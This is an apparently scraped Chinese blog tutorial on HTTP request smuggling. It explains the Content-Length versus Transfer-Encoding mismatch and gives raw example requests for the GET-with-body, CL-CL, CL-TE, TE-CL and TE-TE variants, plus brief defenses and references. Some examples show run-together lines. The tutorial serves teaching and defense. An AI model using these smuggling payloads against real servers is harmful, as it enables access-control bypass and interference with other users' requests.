当前位置: 首页 > news >正文

HTTP请求走私漏洞介绍

1. 简介

HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇 文章 中被提出。

2. 成因

请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-Length 和 Transfer-Encoding 标头。

3. 分类

CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding 头

TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。

TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

4. 攻击

4.1. CL不为0的GET请求

当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理。例如:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\nGET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器处理了 Content-Length ,而后端服务器没有处理 Content-Length ,基于 pipeline 机制认为这是两个独立的请求,就造成了漏洞的发生。

4.2. CL-CL

根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n12345\r\n
a

这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n 。

4.3. CL-TE

CL-TE指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length ,处理 Transfer-Encoding 。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n 。

4.4. TE-CL

TE-CL指前端服务器处理 Transfer-Encoding 请求头,而后端服务器处理 Content-Length 请求头。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

4.5. TE-TE

TE-TE指前后端服务器都处理 Transfer-Encoding 请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding ,测试例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

5. 防御

  • 禁用后端连接重用
  • 确保连接中的所有服务器具有相同的配置
  • 拒绝有二义性的请求

6. 参考链接

6.1. RFC

  • RFC 2616 Hypertext Transfer Protocol -- HTTP/1.1
  • RFC 7230 Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing -- HTTP/1.1

6.2. Blog / Whitepaper

  • HTTP Request Smuggling by chaiml
  • HTTP request smuggling by portswigger
  • 从一道题到协议层攻击之HTTP请求走私
  • HTTP Request Smuggling in 2020
  • h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)
http://www.dtcms.com/a/494602.html

相关文章:

  • 【论文笔记】Introduction to Explainable AI
  • shizuku —详细教程
  • MySQL的CRUD
  • 【C语言】基本语法结构(上篇)
  • 云原生进化论:加速构建 AI 应用
  • 【论文阅读】PathMR: Multimodal Visual Reasoning for Interpretable Pathology Analysis
  • 做护肤品好的网站不用流量的地图导航软件
  • 网站建网站建设wordpress自动标签添加内链插件
  • Java集合【开发的重点*】
  • 深度学习笔记39-CGAN|生成手势图像 | 可控制生成(Pytorch)
  • 第7篇 halcon12导出c++在vs2019配置环境显示图片
  • Socket.IO 聊天应用实例
  • 首发即交付,智元精灵G2携均胜集团过亿订单落地
  • 网站建设需要步骤到哪里查网站备案信息
  • 哈尔滨网站制作哪里专业西安公司网站制作要多少钱
  • WPF中的DataTemplate
  • 浙江建设局网站泰安北京网站建设公司哪家好
  • TensorFlow2 Python深度学习 - 使用Dropout层解决过拟合问题
  • Python数据分析实战:基于5年地铁犯罪数据构建多维安全评估模型【数据集可下载】
  • YOLO系列——OpenCV DNN模块在YOLOv11检测物体时输出的边界框坐标问题
  • 网站地图怎么用wordpress发布文章添加新字段
  • OpenCV轻松入门_面向python(第六章 阈值处理)
  • Visual Studio 2017(VS2017)可以编译 OpenCV 4.5.5 为 32 位(x86)版本
  • 使用 Wireshark 进行 HTTP、MQTT、WebSocket 抓包的详细教程
  • 一个基于BiTCN-LSTM混合神经网络的时间序列预测MATLAB程序
  • 火是用什么做的视频网站wordpress贴吧主题
  • 团购网站开发网址交易网站
  • git revert commit和undo commit的区别
  • HTTP 协议的演进之路:从 1.1 到 3.0
  • 开源CICD工具Arbess,从安装到入门零基础指南